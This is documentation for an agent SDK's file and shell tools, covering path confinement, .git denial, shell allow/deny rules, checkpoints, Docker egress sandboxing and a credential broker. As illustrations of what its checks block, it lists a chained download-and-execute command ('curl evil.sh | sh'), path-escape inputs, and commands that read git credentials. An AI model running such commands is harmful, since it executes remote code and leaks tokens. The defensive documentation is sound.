Workspace tools give an agent a file system and a shell, so you can build
coding agents in the style of Claude Code. The tools never use node:fs or
node:child_process themselves. They call two small interfaces,
FsProvider and ShellProvider, so the same tools work against a local
directory, an in-memory tree in tests, a Docker container, or a remote
sandbox such as E2B, Daytona or Cloudflare.
For a walkthrough, see Build a coding agent.
import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';
const workspace = new NodeWorkspace({ root: './project' }); // every path is confined to this directory
const agent = createAgent({
instructions: 'You are a careful coding assistant. Run the tests after every change.',
provider,
tools: [...createFsTools(workspace), createShellTool(workspace)],
});
// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await agent.send('Fix the failing test in src/math.test.ts');
if (paused.finishReason === 'awaiting-approval') {
// A human decides, then the command runs (or is rejected) and the run continues.
const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });
}send() resolves with finishReason: 'awaiting-approval' and
agent.approvals.resolve() runs (or rejects) the command and continues (see
Approvals). To let some commands run without asking, pass
needsApproval: false together with an allow list, or a needsApproval
predicate that returns false for the commands you trust.
import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';
const workspace = new NodeWorkspace({ root: './project' });
const agent = createAgent({
instructions: 'You are a careful coding assistant. Run the tests after every change.',
provider,
tools: [
...createFsTools(workspace),
// { command } allows exactly that command line, with no extra arguments.
createShellTool(workspace, { needsApproval: false, allow: [{ command: 'npm test' }, { command: 'npm run lint' }, { command: 'git status' }] }),
],
});
const result = await agent.send('Fix the failing test in src/math.test.ts');A plain string such as 'npm test' would also allow npm test -- <anything>,
and many programs have flags that write files (git diff --output=../x,
node --test --test-reporter-destination=../x). See the rules below.
createAgent() runs AgentExecutor underneath (see
The executor API). To own the wiring yourself,
register the tools in a ToolRegistry and call the executor; the pause is
the same, and resumeAfterApproval(...) is what agent.approvals.resolve()
calls once a human approves:
import { AgentExecutor, ToolRegistry } from '@lousho/build-ai-agent/executor';
import { NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';
const workspace = new NodeWorkspace({ root: '.' }); // every path is confined to this directory
const registry = new ToolRegistry();
registry.registerMany([...createFsTools(workspace), createShellTool(workspace)]);
// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await AgentExecutor.execute({ agent, input, provider, toolRegistry: registry, approvalStore });
// paused.finishReason === 'awaiting-approval' -> resumeAfterApproval(...) once a human approvescreateFsTools(fs, options?) returns these defineTool tools:
| Tool | Arguments | Returns |
|---|---|---|
read_file |
path, optional offset (1-based line), limit |
Numbered lines (" 12\tcode"). When the output is cut, the last line says which lines were shown and the offset to continue from. Files over 10 MB are refused. |
write_file |
path, content |
Creates or overwrites the file and creates missing parent directories. |
edit_file |
path, old_string, new_string, optional replace_all |
Replaces the exact text. Fails with a message the model can act on when old_string is missing (including a hint about CRLF line endings) or appears more than once without replace_all. When old_string is missing but a non-empty new_string is in the file, the edit was already applied (a call re-run after a crash): it succeeds without writing and says so. Refuses a file that is not UTF-8 (latin1, Windows-1252, UTF-16) and leaves it unchanged, when the provider has readFileBytes (as NodeWorkspace does). A UTF-8 BOM is kept. |
list_dir |
optional path |
Sorted entries; directories end with /. |
glob |
pattern, optional path |
Sorted paths of matching files. * stays within one directory, ** crosses directories, plus ?, [abc] and {a,b}. |
grep |
pattern (JavaScript regex), optional path, glob, ignore_case |
path:line: text for each matching line. An invalid regex, or one with nested repetition like (a+)+, is a tool error. Binary files and files over 2 MB are skipped. |
| Option | Default | Meaning |
|---|---|---|
readOnly |
false |
Only create read_file, list_dir, glob and grep. |
needsApproval |
none | Per tool: { write_file: true, edit_file: ({ path }) => !path.startsWith('src/') }. |
maxReadLines |
2000 | Most lines read_file returns per call. |
maxOutputChars |
50,000 | Most characters a tool returns per call. |
maxResults |
200 | Most paths, matches or entries glob, grep and list_dir return. |
maxFilesScanned |
20,000 | Most files a glob or grep walk visits. |
grepTimeoutMs |
10,000 | Milliseconds grep may spend matching its regex across all files; time spent reading files does not count. A slow pattern stops with an error naming how many files were scanned. |
ignore |
['.git', 'node_modules'] |
Directory names glob and grep skip. |
deny |
['.git'] |
Entry names no tool reads, lists, searches or writes, at any depth. A path through one is a tool error. [] turns it off. See Security model. |
checkpoints |
none | A WorkspaceCheckpoints: back up every file write_file and edit_file change, so the changes can be rewound (see below). |
createShellTool(shell, options?) returns one tool, shell, that takes
command and an optional timeout_ms. It returns
{ exitCode, stdout, stderr }. When the command was killed, the result also
has timedOut: true or aborted: true and a note saying why.
| Option | Default | Meaning |
|---|---|---|
needsApproval |
true |
true, false, or a predicate over the command string. |
allow |
none | When set, only matching commands may run. A string allows the command with arguments that stay in the workspace and need no $/{} expansion; see the rules below. |
deny |
none | Matching commands are refused. |
defaultTimeoutMs |
120,000 | Timeout when the model does not pass timeout_ms. |
maxTimeoutMs |
600,000 | A larger timeout_ms is lowered to this value. |
maxOutputChars |
30,000 | Per stream. Beyond this the start and end of the output are kept and the middle is replaced by a marker. |
cwd, env |
none | Working directory (relative to the workspace) and extra variables for every command. |
name |
'shell' |
Tool name. |
import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent';
const shell = createShellTool(new NodeWorkspace({ root: '.' }), {
needsApproval: (command) => !/^(ls|cat|git (status|diff|log))\b/.test(command), // read-only commands run without asking
deny: ['rm -rf', /\bsudo\b/],
defaultTimeoutMs: 60_000,
});Cancelling the run (agent.send(input, { signal }) or
AgentExecutor.execute({ signal })) kills the running command together with
every process it started: a process group on Linux and macOS, and
taskkill /T on Windows.
To undo what the agent did to the files, pass a WorkspaceCheckpoints to
createFsTools(fs, { checkpoints }). Before write_file or edit_file
changes a file, the old content (and its permission bits, when the provider
has getMode and chmod, as NodeWorkspace does) is recorded under the run's
session and turn. A turn is the 0-based index of the user message the tool
call answers: the first session.send() is turn 0, the next is turn 1.
checkpoints.list({ sessionId }) returns the turns with changes and the paths
each one changed. checkpoints.rewind(toTurn, { sessionId }) puts every file
changed in turn toTurn or later back as it was before toTurn: a file the
agent created is deleted, one it edited or overwrote gets its content back.
With dryRun: true it changes nothing and returns the same report.
import { createAgent, createFsTools, MemoryWorkspace, WorkspaceCheckpoints } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
const workspace = new MemoryWorkspace({ files: { 'notes.md': '# Notes\n' } });
const checkpoints = new WorkspaceCheckpoints(workspace); // backups in memory; FileWorkspaceCheckpointStore keeps them on disk
const agent = createAgent({
instructions: 'You edit files in the workspace.',
provider: mockModel([
{ toolCalls: [{ name: 'edit_file', args: { path: 'notes.md', old_string: '# Notes', new_string: '# Plan' } }] },
'Renamed the heading.',
{ toolCalls: [{ name: 'write_file', args: { path: 'todo.md', content: '- ship it\n' } }] },
'Added a to-do list.',
]),
tools: createFsTools(workspace, { checkpoints }),
});
const session = agent.session();
await session.send('Rename the heading to Plan'); // turn 0
await session.send('Start a to-do list'); // turn 1
console.log(await checkpoints.list({ sessionId: session.id }));
// [{ turn: 0, paths: ['notes.md'] }, { turn: 1, paths: ['todo.md'] }]
const preview = await checkpoints.rewind(0, { sessionId: session.id, dryRun: true });
console.log(preview); // { dryRun: true, restored: ['notes.md'], deleted: ['todo.md'], skipped: [] }
await checkpoints.rewind(0, { sessionId: session.id });
console.log(workspace.snapshot()); // { 'notes.md': '# Notes\n' }A file whose content is no longer what the agent last wrote there was changed
by something else (you, an editor, the shell tool), so rewind leaves it
alone and reports it in skipped as 'changed-since'; pass force: true to
restore it anyway. A path that exists but is not a file (a directory, say) is
skipped as 'not-a-file'. Every path is checked before anything is written, and
restores go through the same provider, so NodeWorkspace keeps them inside
the root, symlinks included. A real rewind then forgets the backups of the
rewound turns, skipped files' included, so a second rewind does nothing:
look at the dry run first. Directories the agent created stay (empty) after
their files are deleted. The conversation is not rewound; to branch it as
well, fork the session with session.fork({ fromStep }) (see
Forking a session; a step's turn in
session.history() is the turn number used here), or a single run with
agent.fork() (see Fork and replay).
Backups survive a crash. The backup is stored before the file is written, so
a process killed between the two loses nothing: the file still holds the
backed-up content, and rewind treats it as nothing to undo. A tool call that
was running when the process died runs again on resume (see
At-least-once tools);
the re-run finds the turn's backup of that path and keeps it, so rewind()
restores the content from before the first attempt, not the agent's own
half-finished write. A write_file or edit_file that would leave the file
as it is (the same content, an edit already applied) records and writes
nothing.
What is not tracked: changes made by the shell tool, files written by a
sub-agent with its own file tools (unless it gets the same
WorkspaceCheckpoints, in which case they are recorded under its own
session id), and files larger than maxFileBytes (default 1,000,000 bytes):
those are reported as 'too-large' and never deleted. Without a session,
every agent.send() is turn 0 of the session 'default', so use
agent.session() to rewind by turn. Turns are counted in the transcript the
model sees, so after a compaction removes old user messages the numbering
of later turns shifts.
Backups do not grow without bound. Only the newest maxTurns turns of each
session are kept (default 20; rewind() to an older turn throws); a file
over maxFileBytes is not copied; when one turn writes a path several
times, only the first write keeps the old content (the later ones keep a
hash, for the audit trail); a rewind drops the backups it rewound; and
checkpoints.clear({ sessionId }) forgets a session. The default store keeps
backups in memory. new FileWorkspaceCheckpointStore(dir) writes one JSON
file per session, atomically (temp file, then rename), so a rewind works after
a restart; implement WorkspaceCheckpointStore to keep them elsewhere. File
content lives only in the store, never in events or traces.
Read this before you give a model a shell.
Paths stay inside the root. Before any file is touched, NodeWorkspace
(and MemoryWorkspace) normalizes each path. These are rejected on every
platform:
..that climbs above the root (../secret,src/../../secret)- absolute paths (
/etc/passwd, and an absolute path that points inside the root) - Windows drive letters (
C:\Windows,C:secret) - UNC and extended-length paths (
\\server\share,//server/share,\\?\C:\) - NUL bytes
Backslashes count as separators everywhere, so mixing separators
(src/..\..\secret) cannot hide a ... On Windows, : (alternate data
streams), reserved device names (CON, NUL, COM1, ...) and segments made
only of dots and spaces (Windows drops trailing dots and spaces, so ..
would act as ..) are rejected too.
Symlinks cannot escape. After that check, NodeWorkspace resolves the
path with realpath. If the path does not exist yet, it resolves the deepest
part that does exist. The result must still be inside the root's own real
path. This means:
- A link inside the root that points outside it is rejected for reads, and
for writes to files that do not exist yet (
escape-link/new.txt). - A link whose target does not exist is never followed, because writing through it could create a file outside the root.
globandgrepnever follow links while walking the tree.rmon a link removes the link itself and leaves its target alone.
Writes are atomic. NodeWorkspace writes a file (for write_file and
edit_file too) to a temp file in the same directory, flushes it and renames
it over the target, so a process killed mid-write leaves the old file or the
new one, never half of it. A replaced file keeps its permission bits, and a
read-only file is still refused.
The file tools keep out of .git. A checkout often has credentials in
.git/config: actions/checkout keeps the job's token there as
http.https://github.com/.extraheader = AUTHORIZATION: basic ..., and a
model that can read it can leak the token in its answer. In a git worktree,
.git is a file that names the host path of the main repository. So
read_file, list_dir, glob, grep, write_file and edit_file refuse
any path with a .git segment, at any depth (.git/config, sub/.git), and
glob, grep and list_dir leave .git entries out of their results, even
with ignore: []. The check runs after normalization, so ./.git,
a/../.git, .git\config and .git/ are refused too. Names compare
case-insensitively (.GIT), trailing dots and spaces are ignored (Windows
opens .git. as .git), and on Windows 8.3 short names such as GIT~1 are
refused. .gitignore and .github/ are not affected. Add names with the
deny option, for example deny: ['.git', '.env', 'secrets'] (entry names,
not paths), or pass deny: [] to turn the check off.
import { createFsTools, NodeWorkspace } from '@lousho/build-ai-agent';
const workspace = new NodeWorkspace({ root: '.' });
const tools = createFsTools(workspace, { readOnly: true, deny: ['.git', '.env'] });Links into .git are refused too. With NodeWorkspace (or any provider that
implements realPath), the check also runs on where a path really leads, so a
symlink or Windows junction elsewhere in the workspace that points at .git
or into it (gitj -> .git, hooks -> .git/hooks, cfg -> .git/config)
cannot be used to read, write or edit what is behind it: read_file gitj/config, edit_file gitj/config and write_file gitj/PWNED are tool
errors, and so are list_dir, glob and grep given the link as their
path (grep with path: 'gitj' or path: 'gitj/config'). glob and
grep never follow links while walking the tree, so a search from the root
does not reach .git through a link either. A provider without realPath
(MemoryWorkspace has no links) gets the name check only.
The shell tool is not covered: a command
is free text, so it cannot be path-filtered, and cat .git/config or
git config --get-regexp extraheader still works. Git commands that coding
agents need (git status, git diff) go through the shell tool, so keep its
allow list to the git commands you mean. In CI, also pass
persist-credentials: false to actions/checkout when the job does not push.
Rejections are tool errors. A refused path, a missing file or an
ambiguous edit throws a WorkspaceError inside the tool. The model receives
{ "error": "WorkspaceError", "toolName": "read_file", "message": "..." }
and the run continues. Messages show the workspace path, never the host
path.
Commands get a minimal environment. NodeWorkspace runs commands with
cwd set to the root. It does not pass on the parent process's environment.
Only PATH, HOME, USERPROFILE, TEMP, TMP, TMPDIR, LANG, LC_*
and TERM are copied, plus SystemRoot, SystemDrive, ComSpec,
PATHEXT and WINDIR on Windows, because a shell needs them to start. So
OPENAI_API_KEY, ANTHROPIC_API_KEY, cloud credentials and other secrets
in your server's environment are not visible to commands the model writes,
and env or printenv cannot reveal them. To give commands more, either
pass values (env: { GITHUB_TOKEN: scopedToken }) or name host variables to
copy (inheritEnv: ['CI']). Anything you pass this way is visible to the
model. inheritEnv: true passes the whole host environment, as before
this default existed; use it only for commands you trust. On Windows,
Node's process launcher also adds the session variables every process needs
(HOMEDRIVE, HOMEPATH, USERNAME, USERDOMAIN, LOGONSERVER); none of
them is a secret.
import { NodeWorkspace } from '@lousho/build-ai-agent';
const workspace = new NodeWorkspace({
root: './project',
env: { NODE_ENV: 'test' }, // added for every command
inheritEnv: ['CI', 'NODE_OPTIONS'], // copied from the host environment
});root must already exist: the constructor resolves it with realpath and
throws a ConfigurationError when the path is missing, empty or not a
directory — it never creates it. The kept workspace.root is the real,
absolute path.
The shell tool needs approval by default. Unless you choose otherwise,
every command waits for a human. allow and deny are checked first, so a
refused command is never offered for approval:
-
A string pattern matches a command that is exactly the pattern, or starts with it followed by a space (
'git status'matchesgit status -s). A string pattern allows the command with ordinary arguments, but not with a path that leaves the working directory: a..segment,~or an absolute path, anywhere in the command including a--flag=value. This holds when the path is quoted (cat "../x",cat '..'/x,type "c:\windows\win.ini"), escaped under sh (cat .\./x) or a glob that can expand to..(cat .?/x). A command with$,{or}is refused too, since the shell expands it to text the check cannot see (cat $HOME/.gitconfig,cat ${IFS}../x,cat {..,x}/secret.txt). Soallow: ['node --test']does not allownode --test --test-reporter-destination=../x. To allow arguments like these, use aCommandRuleor an anchored RegExp. A string pattern is still not a full security boundary for what a program does with its arguments (a config file it reads, a script it runs), so prefer aCommandRulethat pins them. -
A
CommandRuleobject pins the arguments.{ command: 'npm test' }matchesnpm testand nothing else.{ command: 'node --test', args }matches when the command starts withnode --testandargs(rest)returnstruefor the rest of the line (''when there is none):import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent'; const workspace = new NodeWorkspace({ root: '.' }); createShellTool(workspace, { needsApproval: false, allow: [ { command: 'npm test' }, { command: 'node --test', args: (rest) => /^([\w./-]+\.test\.js\s*)*$/.test(rest) }, ], });
-
In
allow, a command matched only by a string pattern or aCommandRulemust not contain shell operators (;&|`$(<>or a newline). Under cmd.exe,%(variable expansion) and^(escape) count as operators too. This stopsgit status; curl evil.sh | shfrom passing asgit status. -
A RegExp is tested against the whole command line, so anchor it:
/^npm (test|run lint)$/. -
denystring patterns andCommandRules are checked against each;,&or|separated part of the command.
The tool's description tells the model which shell runs its commands when the
provider says so (NodeWorkspace and SandboxShell expose a shell
property). On Windows NodeWorkspace uses cmd.exe, so the model is told to
quote with double quotes and write variables as %NAME%. A provider that
does not name its shell is treated as cmd.exe for the operator check on
Windows.
NodeWorkspace's shell is not a sandbox. Path confinement applies to the file tools only. A command runs as your OS user and can read, write or delete anything that user can, including../and~/.ssh, and it can use the network. Approval andallowlists reduce the risk, but they are not isolation. For untrusted input, such as prompts from the public or content fetched from the web, give the shell tool a sandbox-backedShellProvider(see below) and use the file tools withreadOnly: trueor approval.- A deny list is a convenience. A shell has many ways to write the same
command (
r''m -rf,$(echo rm), an extra space, a script file), so do not rely ondenyfor security. Useallowfor that. - Races and hard links. Paths are checked, then used. A process that swaps a directory for a symlink between those two steps can get around the check. Such a process already has local access, for example a command the shell tool ran without a sandbox. A hard link inside the root to a file outside it cannot be detected.
grepruns the model's regex, so it is fenced in. A pattern that repeats a group which already repeats ((a+)+,(\w+\s*)*) is refused as a tool error, since it can take exponential time. Each line is tested on its first 2,000 characters. The matching runs in a worker thread with a 10 s budget per call: a slow pattern is stopped with a tool error, an abort stops it at once, and the event loop stays free meanwhile. Wherenode:worker_threadsis unavailable, matching runs inline.
SandboxShell adapts any SandboxAdapter, for example the Docker-backed
SubprocessSandbox, into a ShellProvider. Each command runs as
sh -c "<command>" in a new container with no network. The container sees
only cwd, which is bind-mounted at the same path. It gets only the env
you pass, nothing from the host. File tools can keep using NodeWorkspace
on the same directory:
import { createFsTools, createShellTool, NodeWorkspace, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';
const workspace = new NodeWorkspace({ root: './project' });
const shell = new SandboxShell(new SubprocessSandbox({ image: 'node:20-alpine' }), { cwd: workspace.root });
const tools = [...createFsTools(workspace), createShellTool(shell, { needsApproval: false })];Environment and network. SandboxShell takes the same env and
inheritEnv options as NodeWorkspace. A container gets only those
variables: never the host environment, and not the host's PATH or HOME
either, because the image brings its own. With NoopSandbox (which runs on
the host) a command gets the same small base NodeWorkspace uses, plus
your variables; inheritEnv: true restores the whole host environment
there, but a container still never receives it.
SubprocessSandbox takes a network policy:
network |
What the container gets |
|---|---|
'none' (default) |
No network at all (Docker NetworkMode: 'none'). |
'default' |
Docker's default network: unrestricted egress. |
{ allow: ['api.github.com', '*.npmjs.org'] } with a broker |
Only these hosts, through the credential broker. See below. |
{ allow: [...] } without a broker |
No network (fails closed). |
Host names are checked when the sandbox is constructed, so a URL or a
malformed name throws; the validated list is kept on sandbox.network.
Docker cannot filter outgoing traffic by host name by itself, so an allow
list is only enforced when a proxy is the container's only way out.
SubprocessSandbox builds that with Docker's own primitives:
- On the first
run()it creates an internal bridge network (Internal: true, no IPv6, labelcom.lousho.sandbox=egress), namednetworkNameorlousho-egress-<random>. An internal network has no route off the bridge. If a network with that name exists, it is reused, but only if it is internal. - The broker gets a second listener on that network's gateway address,
which on Docker Engine for Linux is the host's own interface on the
bridge. It accepts connections only from the network's subnet (any other
peer is dropped before a byte is read), so it is not an open proxy on the
host's other interfaces. Its allowlist is the broker's rule hosts plus the
sandbox's
allowlist. The broker's ownallowoption and its loopback listener are unchanged. - Every container joins that network with
HTTP_PROXY/HTTPS_PROXY(and lower-case forms) set to the gateway listener, merged over theenvyou pass.NO_PROXYholds only the gateway address, so$HTTP_PROXY/__broker/<host>/<path>(the path form that adds credentials) reaches the broker directly; it gives no other bypass, because nothing else is reachable. sandbox.close()stops the listener and removes the network if this sandbox created it. An aborted or timed-out run removes its container as before; the network stays for the sandbox's next run untilclose().
import { createCredentialBroker, createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';
const token = 'ghp_example'; // read from your secret store; it never enters the container
const broker = await createCredentialBroker({ rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } } });
const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: { allow: ['registry.npmjs.org'] }, broker });
const tool = createShellTool(new SandboxShell(sandbox, { cwd: '/abs/path/to/project' }), { needsApproval: false });
// ... run the agent with `tool` ...
await sandbox.close();
await broker.close();What this enforces, and where:
- Docker Engine on Linux, with the agent on the same host: enforced. The
container can reach the gateway address and nothing past the bridge. DNS:
the container resolves no outside names itself (Engine 25.0.5 and later do
not forward DNS from internal networks, CVE-2024-29018; older Engines are
refused), so names go to the proxy, which resolves them on the host after
the allowlist check. Raw IP connections have no route. Non-HTTP protocols
(SSH, raw TCP, UDP) are blocked, because only the proxy is reachable, and
CONNECTtunnels are checked against the allowlist like any request. This is tested against a real daemon: CI'scompatjob (npm run test:docker) runs on GitHub'subuntu-latestrunner (rootful Docker Engine 28.0.4 on Ubuntu 24.04 when it was added) and checks that an allowed host answers through the broker, that other hosts get a 403, that bypassing the proxy or dialling a raw IP has no route, that the container resolves no outside names, that the broker adds credentials the container never sees, that a container outside the network cannot use the gateway listener, thatclose()and an aborted run leave no network or container behind, and that a reused non-internal network is refused. - Docker Desktop (Windows, macOS, and Desktop on Linux): refused.
Containers run in a VM, so the host has no address on the internal
network.
host.docker.internalreaches the host only from non-internal networks, which would also reach everything else.run()rejects withLOUSHO_SANDBOX_EGRESS_UNSUPPORTEDand starts no container. So do rootless Docker (the bridge lives in its own network namespace), a daemon on another machine (the broker cannot bind the gateway address), a reused network that is not internal, and an Engine older than 25.0.5. - Other services on the host's bridge address. A container on an
internal network can reach any host service that listens on the gateway
address or on all addresses (
0.0.0.0). Bind host services to127.0.0.1, or firewall the bridge subnet to the broker's port only. A host firewall that drops traffic from the bridge (a strictINPUTpolicy) blocks the broker too: runs then fail to connect, they do not get open egress. - Host commands are still not firewalled. A
NodeWorkspaceorNoopSandboxcommand can ignore the proxy variables; see the credential broker notes below.
These guarantees come from Docker's documented behavior of internal networks; the SDK's tests exercise the wiring against a fake Docker client, not a live daemon.
import { createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';
const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: 'none' });
const shell = new SandboxShell(sandbox, {
cwd: '/abs/path/to/project',
env: { NODE_ENV: 'test' }, // set for every command
inheritEnv: ['CI'], // copied from the host environment
});
const tool = createShellTool(shell, { needsApproval: false });What this does not cover: a value you pass in env or inheritEnv is
readable by the model's commands, and network: 'default' lets a command
send it anywhere. Keep long-lived secrets out of both; use the credential
broker below instead.
When the run is aborted, SandboxShell passes the abort signal to the adapter.
SubprocessSandbox then kills and removes the container and the shell tool
reports aborted: true; a signal that is already aborted starts no container.
An adapter that ignores SandboxRunOptions.signal is no longer waited on, but
its command keeps running until its timeout; the shell tool always sets one.
A command the model runs (git, curl, a script) sometimes has to call an
authenticated API, but any token in its environment is readable by the
model. createCredentialBroker() keeps the token on the host: it starts a
local HTTP proxy that adds the auth headers to requests for the hosts you
name, so the command only ever sees the proxy's address.
import { createCredentialBroker, NodeWorkspace } from '@lousho/build-ai-agent';
const token = 'ghp_example'; // read from your secret store; never passed to the command
const broker = await createCredentialBroker({
rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } },
allow: ['registry.npmjs.org'], // reachable without injected headers
});
const workspace = new NodeWorkspace({ root: './project', env: { ...broker.env } });
await workspace.exec(`curl -s ${broker.baseUrl('api.github.com')}/user`);
await broker.close();- What it returns.
url(the proxy, on an ephemeral127.0.0.1port by default),env(HTTP_PROXY,HTTPS_PROXY,NO_PROXYand lower-case forms, for theenvoption ofNodeWorkspaceorSandboxShell),baseUrl(host)andclose(), which stops the listener and destroys open sockets. A header value is a string or a function called per request. - Allowlist. Rule hosts (exact names or
*.suffix, which matches subdomains only —*.example.comdoes not matchexample.com) are allowed implicitly;allowadds hosts reached without injected headers. Any other host gets a 403 before a connection is opened. Hosts that resolve to loopback, link-local (such as the cloud metadata address169.254.169.254) or private addresses are refused unless listed inallowPrivate, so a command cannot use the proxy to reach services on your machine or network. - Secrets stay on the host. Injected values never appear in
env, in the proxy's error responses or in any log. A request to a brokered host that already carries anAuthorizationheader has it removed and replaced. Hop-by-hop headers (Connection,Proxy-Authorization, ...) are not forwarded. - HTTPS limitation. Header injection works on plain-HTTP requests and on
the path form: the broker serves
http://127.0.0.1:<port>/__broker/<host>/<path>and forwards it tohttps://<host>/<path>with the headers added, which is whatbaseUrl(host)returns. Point a tool at that base URL (for example an SDK'sbaseURLoption or acurlURL) to get auth without holding the token. A client that usesHTTPS_PROXYfor anhttps://URL opens aCONNECTtunnel instead: the broker checks the allowlist on the tunnel target and passes the encrypted bytes through untouched, so no header is added. The broker does not intercept TLS. - It is not a firewall on the host. A command run by
NodeWorkspacecan ignore the proxy variables and open its own connections; the allowlist only covers traffic sent through the broker. What the broker guarantees is that the token is never in the command's reach. - Containers. Do not pass
broker.envto aSubprocessSandbox: it points at the host's loopback. Pass the broker itself instead,new SubprocessSandbox({ network: { allow }, broker }), and the sandbox routes its containers through it (see Allowlisted egress). It does that withbroker.listen({ host, clients, allow }), which adds a listener on another address that serves only peers from theclientssubnet, with the rule hosts plusallowas its allowlist. The broker listens on loopback only unless you call it.
Both interfaces are small. Paths are workspace-relative and use /.
normalizeWorkspacePath() applies the same checks the built-in providers
use. A provider exposed to a model must confine paths itself, because a
custom tool could call it directly. Throw WorkspaceError with a readable
message on failure.
import { normalizeWorkspacePath, WorkspaceError, type FsProvider, type ShellProvider } from '@lousho/build-ai-agent';
// A stand-in for your remote sandbox SDK (E2B, Daytona, Cloudflare, ...).
declare const remote: {
read(path: string): Promise<string | null>;
write(path: string, data: string): Promise<void>;
list(path: string): Promise<{ name: string; dir: boolean }[]>;
run(cmd: string, opts: { cwd: string; timeoutMs?: number }): Promise<{ out: string; err: string; code: number }>;
};
const base = '/home/user/project';
const abs = (path: string) => `${base}/${normalizeWorkspacePath(path, 'posix')}`;
export const remoteFs: FsProvider = {
async readFile(path) {
const data = await remote.read(abs(path));
if (data === null) throw new WorkspaceError(`File not found: ${path}`);
return data;
},
writeFile: (path, content) => remote.write(abs(path), content),
async stat(path) {
const data = await remote.read(abs(path));
return data === null ? undefined : { type: 'file', size: data.length };
},
async readdir(path) {
return (await remote.list(abs(path))).map((e) => ({ name: e.name, type: e.dir ? 'directory' : 'file' }));
},
async mkdir(path) { await remote.run(`mkdir -p '${abs(path)}'`, { cwd: base }); },
async rm(path, options) { await remote.run(`rm ${options?.recursive ? '-r ' : ''}'${abs(path)}'`, { cwd: base }); },
};
export const remoteShell: ShellProvider = {
async exec(command, options = {}) {
const r = await remote.run(command, { cwd: abs(options.cwd ?? '.'), timeoutMs: options.timeoutMs });
return { stdout: r.out, stderr: r.err, exitCode: r.code, timedOut: false };
},
};Two optional methods, getMode(path) and chmod(path, mode), let
WorkspaceCheckpoints restore a file's permission bits along with its
content; without them a rewind restores the content only. A third,
readFileBytes(path), returns a file's raw bytes: with it edit_file
refuses a file that is not valid UTF-8 (or has a UTF-16 BOM) instead of
writing U+FFFD over every byte it could not decode.
ShellProvider.exec should resolve, not reject, for a non-zero exit code,
a timeout (timedOut: true) or an abort (aborted: true). It should reject
only when the command could not be started.
MemoryWorkspace keeps the file tree in memory and checks paths the same
way. Its exec is a stub you program, and every command it receives is
recorded. Combine it with mockModel for deterministic tests:
import { createAgent, createFsTools, createShellTool, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
const workspace = new MemoryWorkspace({
files: { 'src/math.ts': 'export const add = (a: number, b: number) => a - b;\n' },
exec: (command) => (command === 'npm test' ? { stdout: '1 passed\n' } : { exitCode: 1, stderr: 'unknown command\n' }),
});
const provider = mockModel([
{ toolCalls: [{ name: 'edit_file', args: { path: 'src/math.ts', old_string: 'a - b', new_string: 'a + b' } }] },
{ toolCalls: [{ name: 'shell', args: { command: 'npm test' } }] },
'Fixed add() and the tests pass.',
]);
const agent = createAgent({
instructions: 'Fix bugs.',
provider,
tools: [...createFsTools(workspace), createShellTool(workspace, { needsApproval: false })],
});
await agent.send('add() is broken');
console.log(workspace.snapshot()['src/math.ts']); // '... a + b;\n'
console.log(workspace.commands.map((c) => c.command)); // ['npm test']